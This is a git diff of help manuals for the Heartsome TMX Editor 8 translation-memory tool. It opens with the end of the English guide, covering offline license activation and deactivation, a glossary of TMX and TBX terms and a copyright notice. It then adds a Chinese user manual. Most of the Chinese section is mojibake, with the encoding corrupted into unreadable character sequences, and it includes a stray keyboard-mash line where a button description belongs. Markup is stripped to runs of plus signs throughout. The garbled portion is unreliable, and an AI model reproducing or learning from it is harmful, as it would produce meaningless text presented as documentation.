to "Activated". + + + + Offline + activation: + + Before performing offline activation, make sure you have + purchased a commercial license instead of a Trial license. To + perform offline activation: + + 1) Enter the commercial license serial number you have + purchased. Click the Next button. + + 2). Obtain the activation code + + The following figure shows the activation code generated + by the software. You need to copy it to an email or text file, + then send it to + licensing@heartsome.net. We will handle the rest. + After this, you can exit the software. + + + + + + + + 3. Obtain a license file + + Once we have received your activation code, Heartsome will + send you a license file (the file name will be your serial + number.lic) as an attachment to your email address. When + you get the email sent by Heartsome, save the license file to + your local hard disk, then repeat the above two steps. + + Click the Next button on the interface. + + + + + + Special + note:If you want to activate multiple licenses + one-time through offline activation, you can put all the + activation codes in an Excel file (.xls). Starting from very + first column of the Excel spreadsheet, put + one activation code on each line. To facilitate the + identification and management of multiple licenses, you can add + more information, such as a serial number, username or computer + name in the second and third columns, but only the activation + code in the first column is required. + + Click the Browse button and select the .lic + file you received, then click the Activate button to perform + activation.if no exception happens, it will prompt that the + software has been successfully activated. + + + + + + + How to deactivate a license + + + You will need to deactivate your license in one of the + following situations: + + + + If you want to change the current Trial license to a + purchased Commercial license. + + + + If you want to reinstall your operating system. + + + + You want to move the current license to a different + computer. + + + + Follow these steps to deactivate your license: + + 1. Select Help > License Management to open the License + Management dialog box. + + + + + + + + 2. Make sure you are connected to the network (to set up a + proxy server, please refer to the Custom Proxy section), and then click + the Deactivate button + + 3. Once the operation has finished, the software will + automatically restart. After it has restarted, the License + Status changes to No + License. + + + + + + + Glossary + + + + TMX file + + + TMX (TM exchange) is an industry standard used to exchange + translation memories. Heartsome TMX Editor 8 can edit and maintain + TMX files. Heartsome Translation Studio 8 TM also supports import + and export of TMX files. + + + + + TBX file + + + TBX is terminology markup language. It is an open, XML-based + standard for exchanging structured terminological data from one + termbase to another termbase. + + + + + Translation unit + + + Translation memory (TM) entries contain source text, a + translation and additional TM data, such as the date of + translation. + + + + + Translation unit variant + + + Text segments are contained in translation units (<tu> + element), each <tu> element contains one or more translation + unit variants <tuv>, and these variants are the various + translations in multiple languages for one source language. + + + + + Internal tags + + + Internal tags contain the layout and formatting information, + style definitions and font information of the source file. They are + extracted as non-translatable content from the source file and + displayed as tags in CAT software. + + + + + Source + + + This refers to the item to be translated,for example:source + text and source language. It is relative to the target. See language + pair. + + + + + Target + + + This refers to the translated items, for example:target + content, target language, target segment. It is relative to the + source. See language pair. + + + + + Language pair + + + The refers to the source and target language, such as English + to French, or English (United Kingdom) to French (Switzerland). + Language pairs have a particular direction, e.g., from English to + French. + + + + + Filter + + + These are a rule or combination of rules used to extract + content. A filter contains one or more rules. Filter rules compare + content based on reference values. When you apply a filter, only the + contents that comply with these rules will be displayed or + processed. + + + + + HS + + + This is the abbreviation for Heartsome. + + + + + HSTS + + + File format for a Heartsome Translation Studio 8 file-based + translation memory. + + + + + + + Copyright + + Copyright (C) 2013 Heartsome Technologies Ltd. + + Intellectual property of any authorized copy of the Software and + structure, organization and code’s valuable intellectual property of + related software (such as trade secrets and confidential information) are + owned by HEARTSOME. The intellectual property to the third-party software + used in the Software is owned by its respective party. + + This Software is protected by law (including but not limited to the + copyright laws of the Hong Kong Special Administrative Region and other + countries) and international treaty provisions. Unless expressly provided + otherwise, this Agreement does not grant any intellectual property rights + of the Software to the user, and HEARTSOME and its suppliers reserve all + other rights not expressly granted. + + diff --git a/te/net.heartsome.cat.te.ui.help/scripts/te8_help_zh.xml b/te/net.heartsome.cat.te.ui.help/scripts/te8_help_zh.xml new file mode 100644 index 0000000..84ff951 --- /dev/null +++ b/te/net.heartsome.cat.te.ui.help/scripts/te8_help_zh.xml @@ -0,0 +1,1615 @@ + + + + TMX Editor 8.0 用户手册 + + + + TMX Editor 8 + + + 2013-10-31 + + + + 欢迎使用 Heartsome TMX Editor 8 + + + + + + + + Heartsome TMX + Editor 8 新特性 + + 使用入门 + + 快速入门 + + 设置选项 + + 系统å‚数设置 + + å¿«æ·é”®è®¾ç½® + + 网络连接设置 + + 视图 + + 视图简介 + + 更改视图语言 + + 关于编辑视图 + + 关于 QA 视图 + + 关于属性编辑视图 + + 编辑 TMX + + 如何新建一个标准 + + + TMX 支æŒå¤šè¯­è¨€çš„ TMX 编辑 + + 如何支æŒå¤šè¯­ + + 编辑æºæ–‡å’Œè¯‘æ–‡ + + 编辑翻译å•å…ƒå±žæ€§ + + 编辑翻译å•å…ƒæ‰¹æ³¨ + + TMX 高级编辑 + + 分割和åˆå¹¶ TMX + + æ›´æ”¹è¯­è¨€ä»£ç  + + 删除指定语言 + + 清除所有标记 + + TMX æ— ç”¨å†…å®¹æ¸…ç† + + 编辑 Heartsome Translation Studio 8 + 记忆库 + + 如何连接记忆库 + + 支æŒå¤šè¯­è¨€çš„记忆库编辑 + + 如何支æŒå¤šè¯­ + + 编辑æºæ–‡å’Œè¯‘æ–‡ + + 编辑翻译å•å…ƒå±žæ€§ + + 编辑翻译å•å…ƒæ‰¹æ³¨ + + æ— ç”¨å†…å®¹æ¸…ç† + + æœç´¢å’Œè¿‡æ»¤ + + 关键字æœç´¢ + + 快速过滤 + + 自定义过滤æ¡ä»¶ + + QA + + 选择 QA 检查项 + + 执行 QA ç”Ÿæˆ QA 报告 + + 如何根æ®æŠ¥å‘Šå¤„ç† QA 结果 + + å®žç”¨å·¥å…·ä»‹ç» + + TMX 转æ¢ä¸ºå…¶ä»–æ ¼å¼æ–‡ä»¶ + + 其他格å¼æ–‡ä»¶è½¬æ¢ä¸º TMX 文件 + + 文件编ç è½¬æ¢å™¨ + + å…³äºŽç‰ˆæœ¬å’Œè®¸å¯ + + ç‰ˆæœ¬ä»‹ç» + + å…³äºŽè®¸å¯ + + å¦‚ä½•æ¿€æ´»äº§å“ + + 如何å–消激活 + + 术语表 + + 版æƒè¯´æ˜Ž + + + + Heartsome TMX Editor 8 新特性 + + 如下是此å‘行版的新特性完整列表: + + + + TMX 文件高性能编辑和维护 + + + + TMX 与其他格å¼æ–‡ä»¶çš„è½»æ¾è½¬æ¢ + + + + TMX çš„ QA 功能 + + + + Heartsome Translation Studio 8 + 记忆库专用编辑和维护 + + + + TMX å’Œ Heartsome Translation Studio 8 + è®°å¿†åº“æ— ç”¨å†…å®¹æ¸…ç† + + + + + + TMX 文件高性能编辑和维护 + + + TMX æºæ–‡å’Œè¯‘文编辑 + + 翻译å•å…ƒå±žæ€§ç¼–辑 + + 翻译å•å…ƒæ‰¹æ³¨ç¼–辑 + + 关键字æœç´¢ + + 内置快速过滤器 + + + + + TMX 与其他格å¼æ–‡ä»¶çš„è½»æ¾è½¬æ¢ + + + TMX 转æ¢ä¸º DOCX / XLSX / TXT / TBX / HSTM + + DOCX / XLSX / TXT / TBX / HSTM 转æ¢ä¸º TMX + + + + + TMX çš„ QA 功能 + + + å¤šç§ QA 检查项 + + ç”Ÿæˆ QA 报告 + + å¤„ç† QA 结果 + + + + + Heartsome Translation Studio 8 记忆库专用编辑和维护 + + + 记忆库æºæ–‡å’Œè¯‘文编辑 + + 翻译å•å…ƒå±žæ€§ç¼–辑 + + 翻译å•å…ƒæ‰¹æ³¨ç¼–辑 + + 关键字æœç´¢ + + 内置快速过滤器 + + + + + TMX å’Œ Heartsome Translation Studio 8 è®°å¿†åº“æ— ç”¨å†…å®¹æ¸…ç† + + + 内置无用内容批é‡æ¸…ç† + + + + + + + 使用入门 + + 以下是 Heartsome TMX Editor 8 快速入门和常规é…置的介ç»ï¼š + + + + 快速入门 + + + 我们这里介ç»å¦‚何快速编辑一个 TMX 文件和 Heartsome Translation Studio 8 + 记忆库。 + + + + 快速编辑 + TMX + + 1ã€é€šè¿‡èœå•â€œæ–‡ä»¶â€-“打开 TMXâ€ï¼Œåœ¨å¼¹å‡ºçš„对è¯æ¡†ä¸­é€‰æ‹© TMX 文件。 + + 2ã€åœ¨ç¼–辑器中打开 TMX 文件åŽï¼Œå•å‡»ä»»ä¸€å•å…ƒæ ¼å³å¯è¿›è¡Œç¼–辑。 + + 3ã€æ¯é€‰ä¸­ä¸€è¡Œï¼Œå³è¾¹çš„“属性编辑â€è§†å›¾éƒ½å°†åˆ·æ–°å½“å‰è¡Œçš„属性,您å¯ä»¥é€šè¿‡åŒå‡»æˆ–å•å‡»ã€æ·»åŠ ã€‘ã€ç¼–辑】ã€åˆ é™¤ã€‘按钮对所有属性进行æ“作。 + + 4ã€TMX 内容编辑åŽï¼Œéœ€è¦æ‰‹åŠ¨ç‚¹å‡»èœå•æ çš„ + + + + 按钮,或使用快æ·é”® CTRL+S + 进行ä¿å­˜æ“作,让最终编辑结果生效。但å³ä½¿æ²¡æœ‰æ‰‹åŠ¨ä¿å­˜ï¼Œç¼–辑结果也ä¸ä¼šä¸¢å¤±ï¼Œå› ä¸ºæˆ‘们进行了缓存。 + + 5ã€å±žæ€§çš„编辑åŠæ—¶ç”Ÿæ•ˆï¼Œæ— éœ€æ‰‹åŠ¨ä¿å­˜ã€‚ + + + + 快速编辑 Heartsome Translation Studio 8 + 记忆库 + + 1ã€é€šè¿‡èœå•â€œæ–‡ä»¶â€-“连接记忆库â€ï¼Œé€‰æ‹©è®°å¿†åº“类型进行连接打开。 + + 2ã€å¦‚果选择“文件型记忆库â€ï¼Œé‚£ä¹ˆç›´æŽ¥é€‰æ‹©è®¡ç®—机上的记忆库打开å³å¯ï¼›å¦‚果选择“æœåŠ¡åž‹è®°å¿†åº“â€ï¼Œéœ€è¦æ ¹æ®è®°å¿†åº“的类型填写好æœåŠ¡å™¨ç›¸å…³å‚数,如:IP地å€ã€ç«¯å£ã€ç”¨æˆ·ã€å¯†ç ç­‰ï¼Œåœ¨æŸ¥è¯¢çš„结果列表中选择您想è¦ç¼–辑的记忆库å³å¯ã€‚ + + 3ã€å¯¹äºŽå†…容和属性的编辑与 TMX + 编辑方法相åŒã€‚ + + 4ã€Heartsome Translation Studio 8 + 记忆库的编辑为实时ä¿å­˜ï¼Œæ— éœ€æ‰‹åŠ¨æ“作。 + + + + + + + 系统å‚数设置 + + + 系统å‚数里您å¯ä»¥è®¾ç½®è‡ªåŠ¨æ›´æ–°çš„频率ã€è½¯ä»¶ç•Œé¢è¯­è¨€ã€è½¯ä»¶ç•Œé¢å­—体以åŠå½“å‰ç”¨æˆ·å。 + + + + 自动更新:软件根æ®æ‚¨çš„设置,定期连接æœåŠ¡å™¨æ£€æŸ¥æ˜¯å¦æœ‰ç‰ˆæœ¬æ›´æ–°ã€‚ + + + + ç•Œé¢è¯­è¨€ï¼šè½¯ä»¶æ供了英文和简体中文两ç§ç•Œé¢è¯­è¨€ä¾›é€‰æ‹©ã€‚ + + + + 用户å:用户å将默认作为 TMX 翻译å•å…ƒçš„ + changeid 存入记忆库。 + + + + + + + å¿«æ·é”®è®¾ç½® + + + 您å¯ä»¥åœ¨è¿™é‡Œä¸ºè½¯ä»¶çš„所有功能设置您想è¦ç»‘定的快æ·é”®ã€‚如果您需è¦ä¿®æ”¹æŸä¸€ä¸ªåŠŸèƒ½çš„å¿«æ·é”®ï¼š + + 1ã€ç‚¹å‡»è¯¥åŠŸèƒ½å¯¹åº”çš„å¿«æ·é”®å•å…ƒæ ¼ï¼Œæ­¤æ—¶ä¼šè¿›å…¥ç¼–è¾‘çŠ¶æ€ + + + + 。 + + 2ã€åœ¨é”®ç›˜æŒ‰ä¸‹æ‰€éœ€ç»„åˆå¿«æ·é”®ã€‚ + + 3ã€ç‚¹å‡»ç•Œé¢å…¶ä»–地方,自动退出编辑状æ€ã€‚ + + 4ã€é‡è¦çš„一步:点击ã€åº”用】按钮,或ã€ç¡®å®šã€‘按钮进行ä¿å­˜ã€‚ + + 5ã€å¦‚果设置的快æ·é”®ä¸Žå…¶ä»–功能设置有冲çªï¼Œç³»ç»Ÿä¼šä»¥çº¢è‰²èƒŒæ™¯æ ‡ç¤ºå‡ºæœ‰å†²çªä¸¤ä¸ªåŠŸèƒ½ + + + + 。 + + + + + 网络连接设置 + + + 网络连接为您æ供使用代ç†æœåŠ¡å™¨è¿žæŽ¥ Internet。您å¯ä»¥æ ¹æ®æ‚¨çš„实际情况设置代ç†æœåŠ¡å™¨çš„é…置方å¼ï¼š + + + + 系统默认代ç†ï¼šå¦‚果您的æ“作系统已ç»é…置好代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©è¯¥é…置。 + + + + 自定义代ç†ï¼šå¦‚果您想专门为 Heartsome TMX + Editor 8 设置代ç†æœåŠ¡å™¨ï¼Œè¯·é€‰æ‹©è¯¥é…置。然åŽåœ¨ä»£ç†æœåŠ¡å™¨åˆ—表中åŒå‡»è¦é…置的代ç†æœåŠ¡å™¨ç±»åž‹ï¼ˆHTTPã€HTTPS 或 SOCKS),输入代ç†æœåŠ¡çš„主机地å€ã€ç«¯å£ã€‚而用户å和密ç åˆ™å–决于您的代ç†æœåŠ¡å™¨æ˜¯å¦è¦æ±‚身份验è¯ã€‚ + + 此外,您还å¯ä»¥ä¸ºè‡ªå®šä¹‰ä»£ç†è®¾ç½®ä¸€äº›ç‰¹æ®Šçš„例外主机地å€ï¼Œå³ä»…在访问这些例外主机地å€æ—¶ä¸ä½¿ç”¨ä»£ç†æœåŠ¡å™¨ã€è€Œæ˜¯ç›´æŽ¥è¿žæŽ¥ã€‚需è¦è®¾ç½®ä¸ºä¾‹å¤–的情况,通常是本机(localhost 或 + 127.0.0.1)和局域网(192.168.*.*)地å€ã€‚ + + + + + + + 视图简介 + + + Heartsome TMX Editor 8 包å«ä»¥ä¸‹è§†å›¾ï¼š + + + + + + + + + + 工具æ ï¼šè¿™é‡Œæ˜¯å¸¸ç”¨çš„一些功能快æ·æ–¹å¼ï¼Œæ‚¨ä¹Ÿå¯ä»¥é€šè¿‡ç›¸åº”çš„å¿«æ·é”®æ¥æ‰§è¡Œç›¸å…³åŠŸèƒ½ã€‚ + + + + æœç´¢ä¸Ž QA:这里æ供关键字æœç´¢ä»¥åŠ TMX 文件的 QA 执行,以两个 TAB æ¥åˆ‡æ¢æ˜¾ç¤ºã€‚ + + + + 编辑器:是软件的主编辑区,主è¦è¿›è¡Œæºæ–‡å’Œè¯‘文的编辑以åŠå…³é”®å±žæ€§çš„显示。 + + + + 属性编辑:这里å¯ç¼–辑翻译å•å…ƒçš„所有属性。 + + + + + + + 更改视图语言 + + + 您å¯ä»¥é€šè¿‡èœå•â€œå·¥å…·â€-“选项â€-“系统â€ï¼Œæ‰¾åˆ°â€œç•Œé¢è¯­è¨€â€è®¾ç½®é€‰é¡¹æ¥æ›´æ”¹è§†å›¾è¯­è¨€ã€‚ + + + + + 关于编辑视图 + + + 编辑视图分“æœç´¢è¿‡æ»¤â€å’Œâ€œç¼–辑器â€ä¸¤ä¸ªè§†å›¾åŒºåŸŸã€‚在æœç´¢è¿‡æ»¤åŒºåŸŸä¸­ï¼Œæ‚¨å¯ä»¥åˆ‡æ¢è¯­è¨€å¯¹ï¼ˆå¦‚果是多语言),å¯ä»¥æœç´¢å…³é”®å­—,也å¯ä»¥æ ¹æ®å†…置的快速过滤æ¡ä»¶è¿‡æ»¤æ‚¨å…³å¿ƒçš„内容,åŒæ—¶è¿˜æ供了更加çµæ´»å¼ºå¤§çš„自定义组åˆæ¡ä»¶ã€‚ + + + + + + + 特别说明:“æœç´¢â€ä¸Žâ€œè¿‡æ»¤å™¨â€ä¹‹é—´æ²¡æœ‰äº’相关è”,任何一个æ¡ä»¶æ”¹å˜éƒ½ä¼šä»¥åŽŸå§‹ TMX + 文件内容或记忆库内容é‡æ–°åˆ·æ–°ç»“果。 + + + + + + + + + + æœç´¢ï¼šæ供语言对的切æ¢å’Œå…³é”®å­—çš„æœç´¢ã€‚ + + + + 过滤器:æ供快速过滤和自定义过滤。 + + + + 编辑器:编译 TMX + 文件的æºæ–‡å’Œè¯‘文。 + + + + + + + 关于 QA 视图 + + + QA 视图分“QA 执行â€å’Œ “QA 结果显示â€ä¸¤ä¸ªåŒºåŸŸè§†å›¾ã€‚åŒå‡» QA 结果å¯å®šä½åˆ°ç¼–辑器中的相关行。 + + + + + + + + + + + 关于属性编辑视图 + + + 属性编辑视图中您å¯ä»¥ç¼–辑翻译å•å…ƒå›ºå®šå±žæ€§ã€ç¿»è¯‘å•å…ƒè‡ªå®šä¹‰å±žæ€§ã€ç¿»è¯‘å•å…ƒå˜é‡å±žæ€§å’Œç¿»è¯‘å•å…ƒæ‰¹æ³¨ã€‚å››ç§å±žæ€§åˆ†åˆ«ç½®äºŽå››ä¸ªä¸åŒçš„表格中显示和æ“作。 + + + + + + + + + + + 如何创建一个标准 TMX + + + 1ã€é€šè¿‡èœå•â€œæ–‡ä»¶â€-“新建 TMX 文件â€æˆ–ç‚¹å‡»å·¥å…·æ  + + + + 按钮或使用快æ·é”® Ctrl+N,打开新建 TMX 文件的æ“作对è¯æ¡† + + 2ã€é€‰æ‹©â€œä¿å­˜ä½ç½®â€ï¼Œè®¾ç½®è¯¥ TMX 文件的“æºè¯­è¨€â€å’Œâ€œç›®æ ‡è¯­è¨€â€ï¼Œå•å‡»ã€ç¡®å®šã€‘æŒ‰é’®ï¼Œå®Œæˆ TMX + 文件的创建 + + 3ã€åˆ›å»ºæˆåŠŸåŽï¼Œè½¯ä»¶é»˜è®¤æ‰“开该空 TMX æ–‡ä»¶ï¼Œè¿›å…¥ç¼–è¾‘çŠ¶æ€ + + + + + 如何支æŒå¤šè¯­è¨€ + + + Heartsome TMX Editor 8 支æŒå¤šè¯­è¨€çš„ TMX + 文件,您å¯ä»¥éšæ—¶åˆ‡æ¢è¯­è¨€å¯¹è¿›è¡Œæ˜¾ç¤ºå’Œç¼–辑æ“作。 + + 1ã€æ‰“开多语言的 TMX 文件。 + + 2ã€å¦‚关于编辑视图的介ç»ä¸­ï¼Œåœ¨æœç´¢åŒºåŸŸå¯¹â€œæºâ€å’Œâ€œç›®æ ‡â€è¿›è¡Œè¯­è¨€å¯¹çš„选择。 + + + + + + + + 3ã€ç‚¹å‡»ã€æœç´¢ã€‘按钮,å³å¯æ˜¾ç¤ºå½“å‰è¯­è¨€å¯¹å†…容。 + + + + + + + 编辑æºæ–‡å’Œè¯‘æ–‡ + + å•å‡»ç¼–辑器中æºæ–‡å•å…ƒæ ¼æˆ–译文å•å…ƒæ ¼å³å¯è¿›å…¥ç¼–辑模å¼ï¼Œç¼–辑完æˆåŽéœ€è¦æ³¨æ„2个æ“作: + + + + 编辑完æˆåŽï¼Œç‚¹å‡»å…¶ä»–ä½ç½®ï¼Œè½¯ä»¶ä¼šè‡ªåŠ¨ç¼“存该内容,但并未ä¿å­˜åˆ°åŽŸå§‹ TMX 文件中(Heartsome + Translation Studio 8 记忆库除外),但数æ®å·²ç¼“存,ä¸ä¼šå› æ„外事故而丢失。 + + + + 编辑完æˆåŽï¼Œç‚¹å‡» + + + + + + + + fèŒƒå¾·è¨ æ’’æ—¦æ³•å€’è¨dsa sda + + + + 或快æ·é”®Ctrl+Sæ‰èƒ½ä½¿ä¿®æ”¹å†…容åŠæ—¶ä¿å­˜åˆ°åŽŸå§‹ TMX + 文件。 + + + + + + 编辑翻译å•å…ƒå±žæ€§ + + 翻译å•å…ƒå±žæ€§çš„编辑å‡æ供了“当å‰é€‰ä¸­è¡Œâ€ã€â€œæ‰€æœ‰è¿‡æ»¤ç»“æžœâ€ä»¥åŠâ€œæ•´ä¸ª TMX + /记忆库â€ä¸‰ä¸ªåº”用范围,以实现批é‡æ“作。以下是具体说明: + + + + 编辑翻译å•å…ƒå›ºå®šå±žæ€§ + + + + + + + 特别说明:固定属性åªå…许编辑和删除,且编辑和删除å‡åªé’ˆå¯¹å›ºå®šå±žæ€§çš„值。 + + 1ã€ç¼–辑固定属性值:选中è¦ç¼–辑的属性行,å•å‡» + + + + 按钮,在弹出的对è¯æ¡†ä¸­è¾“入属性值,点击ã€ç¡®å®šã€‘完æˆç¼–辑。 + + 2ã€åˆ é™¤å›ºå®šå±žæ€§å€¼ï¼šé€‰ä¸­è¦åˆ é™¤çš„属性行,å•å‡» + + + + 按钮,å³å¯å®Œæˆå±žæ€§å€¼çš„删除。 + + + + 编辑翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§ + + + + + + + 特别说明:自定义属性å…许添加ã€ç¼–辑和删除属性å称和属性值。 + + 1ã€æ·»åŠ è‡ªå®šä¹‰å±žæ€§ï¼šé€‰ä¸­â€œç¿»è¯‘å•å…ƒè‡ªå®šä¹‰å±žæ€§â€è¡¨æ ¼ä¸­çš„任一一行,点击 + + + + 按钮,在弹出的对è¯æ¡†ä¸­è¾“入“自定义属性å称â€å’Œâ€œè‡ªå®šä¹‰å±žæ€§å†…容â€ï¼Œå•å‡»ã€ç¡®å®šã€‘完æˆæ·»åŠ æ“作。 + + 2ã€ç¼–辑自定义属性:选中“翻译å•å…ƒè‡ªå®šä¹‰å±žæ€§â€è¡¨æ ¼ä¸­éœ€è¦ç¼–辑的行,点击 + + + + 按钮,在弹出的对è¯æ¡†ä¸­ç¼–辑“自定义属性å称â€å’Œâ€œè‡ªå®šä¹‰å±žæ€§å†…容â€ï¼Œå•å‡»ã€ç¡®å®šã€‘完æˆç¼–辑æ“作。 + + 3ã€åˆ é™¤è‡ªå®šä¹‰å±žæ€§ï¼šé€‰ä¸­â€œç¿»è¯‘å•å…ƒè‡ªå®šä¹‰å±žæ€§â€è¡¨æ ¼ä¸­éœ€è¦åˆ é™¤çš„行,点击 + + + + 按钮,å³å¯å®Œæˆåˆ é™¤æ“作。 + + + + 编辑翻译å•å…ƒå˜é‡å±žæ€§ + + æ“作方å¼åŒï¼šç¼–辑翻译å•å…ƒå›ºå®šå±žæ€§ + + + + + + 编辑翻译å•å…ƒæ‰¹æ³¨ + + 1ã€æ·»åŠ æ‰¹æ³¨ï¼šé€‰ä¸­â€œæ‰¹æ³¨â€è¡¨æ ¼ä¸­çš„任一一行,点击 + + + + 按钮,在弹出的对è¯æ¡†ä¸­è¾“入批注内容,å•å‡»ã€ç¡®å®šã€‘完æˆæ·»åŠ æ“作。 + + 2ã€ç¼–辑批注:选中“批注â€è¡¨æ ¼ä¸­éœ€è¦ç¼–辑的行,点击 + + + + 按钮,在弹出的对è¯æ¡†ä¸­ç¼–辑批注内容,å•å‡»ã€ç¡®å®šã€‘完æˆç¼–辑æ“作。 + + 3ã€åˆ é™¤æ‰¹æ³¨ï¼šé€‰ä¸­â€œæ‰¹æ³¨â€è¡¨æ ¼ä¸­éœ€è¦åˆ é™¤çš„行,点击 + + + + 按钮,å³å¯å®Œæˆåˆ é™¤æ“作。 + + + + + + 分割和åˆå¹¶ TMX + + + 分割和åˆå¹¶ TMX 功能,为您æ供了多人åˆä½œç¼–辑文件的方å¼ã€‚ + + + + 分割 TMX + + 1ã€èœå•â€œç¼–辑â€-“分割 TMX â€ï¼Œæ‰“开分割对è¯æ¡†ã€‚ + + 2ã€é€‰æ‹©éœ€è¦åˆ†å‰²æˆçš„“å­æ–‡ä»¶â€ä¸ªæ•°ã€‚ + + 3ã€é€‰æ‹©éœ€è¦åˆ†å‰²çš„原 TMX 文件。 + + 4ã€é€‰æ‹©å­˜å‚¨æ–¹å¼ï¼šâ€œåŽŸæ–‡ä»¶è·¯å¾„â€å°†åˆ†å‰²åŽçš„å­æ–‡ä»¶ä¸ŽåŽŸæ–‡ä»¶æ”¾ç½®åœ¨ä¸€ä¸ªç›®å½•ï¼›â€œå¦å­˜ä¸ºâ€åˆ™ä¼šå°†å­æ–‡ä»¶æ”¾ç½®åœ¨æ­¤æŒ‡å®šçš„目录。 + + + + åˆå¹¶ TMX + + 1ã€èœå•â€œç¼–辑â€-“åˆå¹¶ TMXâ€ï¼Œæ‰“开分割对è¯æ¡†ã€‚ + + 2ã€ç‚¹å‡»ã€æ·»åŠ ã€‘按钮,将需è¦åˆå¹¶çš„å­æ–‡ä»¶æ·»åŠ åˆ°åˆ—表。 + + 3ã€é€‰æ‹©åˆå¹¶çš„ TMX 存储路径。 + + 4ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮,执行åˆå¹¶æ“作。 + + + + + + + æ›´æ”¹è¯­è¨€ä»£ç  + + + 此功能æ供批é‡æ›´æ”¹ TMX 文件中æ¯ä¸€ä¸ªç¿»è¯‘å•å…ƒçš„语言代ç ã€‚ + + 1ã€èœå•â€œç¼–辑â€-“更改语言代ç â€ï¼Œæ‰“开更改语言代ç çš„对è¯æ¡†ã€‚ + + 2ã€å¯¹åº”æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€ï¼Œé€‰æ‹©æ›´æ”¹åŽçš„语言对。 + + 3ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮,完æˆæ‰¹é‡ä¿®æ”¹ã€‚ + + + + + 删除指定语言 + + + 此功能æ供批é‡åˆ é™¤ TMX 文件中æŸä¸€ç§è¯­è¨€çš„翻译å•å…ƒå˜é‡ï¼ˆtuv)的功能。需è¦æ³¨æ„是的:ä¸èƒ½åˆ é™¤æºè¯­è¨€ã€‚ + + 1ã€èœå•â€œç¼–辑â€-“删除指定语言â€ï¼Œæ‰“开删除指定语言对è¯æ¡†ã€‚ + + 2ã€é€‰æ‹©éœ€è¦åˆ é™¤çš„æŸä¸€ç§æˆ–多ç§è¯­è¨€ã€‚ + + 3ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮,完æˆåˆ é™¤æ“作。 + + + + + 清除所有标记 + + + 此功能æ供批é‡æ¸…除 TMX 文件中的所有内容标记,ä¿ç•™çº¯æ–‡æœ¬åŠŸèƒ½ã€‚ + + 1ã€èœå•â€œç¼–辑â€-“清除所有标记â€ï¼Œå¼¹å‡ºæ示框。 + + 2ã€ç¡®è®¤æ示åŽï¼Œæ‰§è¡Œæ¸…除æ“作。清除åŽå°†æ— æ³•æ¢å¤ã€‚ + + + + + TMX æ— ç”¨å†…å®¹æ¸…ç† + + + TMX 文件的无用内容包å«ï¼šç©ºè¡Œã€é‡å¤è¡Œã€ç›¸åŒæºæ–‡ä¸åŒè¯‘文行等。Heartsome TMX Editor 8 + æ供了批é‡æ¸…ç†è¿™äº›æ— ç”¨å†…容的功能。 + + 1ã€èœå•â€œç¼–辑â€-â€œæ¸…ç† TMâ€ï¼Œæ‰“开批é‡æ¸…ç†çš„对è¯æ¡†ã€‚ + + 2ã€åœ¨å¯¹è¯æ¡†é‡Œé€‰æ‹©éœ€è¦æ¸…ç†çš„无用项: + + + + + + + + + + 删除空行:指删除译文为空的翻译å•å…ƒ + + + + 删除é‡å¤è¡Œï¼Œä¿ç•™æœ€æ–°æ–‡æœ¬æ®µï¼šæŒ‡åˆ é™¤æºæ–‡å’Œè¯‘æ–‡å‡ç›¸åŒçš„翻译å•å…ƒï¼Œä½†ä¿ç•™æ—¶é—´æœ€è¿‘的一个 + + + + 删除相åŒæºæ–‡ä¸åŒè¯‘文行,ä¿ç•™æœ€æ–°æ–‡æœ¬æ®µï¼šåªåˆ é™¤æºæ–‡ç›¸åŒä½†è¯‘æ–‡ä¸åŒçš„翻译å•å…ƒï¼Œä½†ä¿ç•™æ—¶é—´æœ€è¿‘的一个 + + + + 删除段首/段末空格:åªåˆ é™¤ç¿»è¯‘å•å…ƒé¦–ä½çš„空格 + + + + 3ã€é€‰æ‹©æ¯”较æºæ–‡æ˜¯å¦ç›¸åŒæ—¶ï¼Œæ˜¯å¦éœ€è¦å¿½ç•¥æ ‡è®°ã€‚ + + 4ã€æ‰§è¡Œæ¸…ç†æ“作。 + + + + + + + 编辑 Heartsome Translation Studio 8 记忆库 + + Heartsome TMX Editor 8 是Heartsome Translation Studio 8 + 记忆库的专用编辑软件。以下介ç»äºŒè€…çš„é…套使用方法: + + + + 如何连接记忆库 + + + Heartsome Translation Studio 8 记忆库分文件型记忆库和æœåŠ¡åž‹è®°å¿†åº“两类。 + + + + 文件型记忆库 + + 1ã€èœå•â€œæ–‡ä»¶â€-“连接记忆库â€ï¼Œé€‰æ‹©äºŒçº§èœå•â€œæ–‡ä»¶åž‹è®°å¿†åº“â€ã€‚ + + 2ã€åœ¨å¼¹å‡ºçš„æµè§ˆé€‰æ‹©æ¡†ä¸­ï¼Œé€‰æ‹©Heartsome Translation Studio 8 + 记忆库(.hstm)。 + + 3ã€ç‚¹å‡»ã€ç¡®å®šã€‘按钮åŽï¼Œç¼–辑器将加载记忆库中所有的内容。 + + + + æœåŠ¡åž‹è®°å¿†åº“ + + 1ã€èœå•â€œæ–‡ä»¶â€-“连接记忆库â€ï¼Œé€‰æ‹©äºŒçº§èœå•â€œæœåŠ¡åž‹è®°å¿†åº“â€ã€‚ + + 2ã€åœ¨æ‰“开的æœåŠ¡åž‹è®°å¿†åº“选择框中,在类型树上选择è¦è¿žæŽ¥çš„记忆库类型: + + + + + + + + 3ã€è¾“入该类型的记忆库连接å‚数(IP地å€ã€ç«¯å£ã€ç”¨æˆ·ã€å¯†ç ç­‰ï¼‰ï¼Œç‚¹å‡»ã€æœç´¢ã€‘按钮: + + + + + + + + 4ã€åœ¨æœç´¢å‡ºçš„记忆库中,选中您需è¦ç¼–辑的那一个,å•å‡»å³ä¸‹è§’çš„ã€ç¡®å®šã€‘按钮,å³å¯åŠ è½½è¯¥è®°å¿†åº“的所有内容。 + + + + + + + + + + + + + 如何支æŒå¤šè¯­ + + + 1ã€Heartsome Translation Studio 8 记忆库是支æŒå¤šè¯­çš„,在连接æœåŠ¡åž‹è®°å¿†åº“åŽçš„记忆库列表的“语言â€åˆ—中å¯ä»¥çœ‹åˆ°è¯­è¨€çš„情况: + + + + + + å¯ä»¥çœ‹åˆ°ï¼Œâ€œbug2422â€è¿™ä¸ªè®°å¿†åº“包å«â€œen-USâ€ã€â€œzhâ€ã€â€œzh-HKâ€3ç§è¯­è¨€ã€‚ + + 